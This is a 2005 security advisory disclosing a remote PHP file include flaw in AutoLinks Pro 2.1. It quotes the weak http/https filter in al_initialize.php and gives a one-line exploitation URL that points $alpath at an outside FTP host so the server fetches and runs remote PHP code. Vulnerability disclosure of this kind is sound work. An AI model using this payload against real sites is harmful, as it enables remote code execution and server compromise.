[NewAngels Advisory #1] AutoLinks Pro 2.1 - Remote File Include Vulnerability ============================================================================= Software: AutoLinks Pro Version: 2.1 Type: Remote PHP File Include Vulnerability Risc: High Date: 16.08.05 Vendor: ScriptsCenter Page: http://www.scriptscenter.com/ Credit: ======= Credit goes to NewAngels Team and especially 4Degrees. Description: ============ "AutoLinks 2.1 is a full-featured script making life easier for webmasters relying extensively on link exchanges to bring traffic to their site. Other webmasters are able to easily exchange links with you, bringing more visitors to your site and you also have full control on what sites you want to link." [Quote from http://www.scriptscenter.com/] PHP Requirements: ================= register_globals = On Vulnerability: ============= Related source from file "autolinks/al_initialize.php": >// check for hacking attempt >if(strstr($alpath,"http://";) || strstr($alpath,"https://";)) exit("Invalid \$alpath variable"); > >include($alpath."al_functions.php"); The script does not check wether $alpath contains an absolute URL to a remote ftp resource. Exploitation: ============= /al_initialize.php?alpath=ftp://host.com/ The code in "al_functions.php" will be executed.
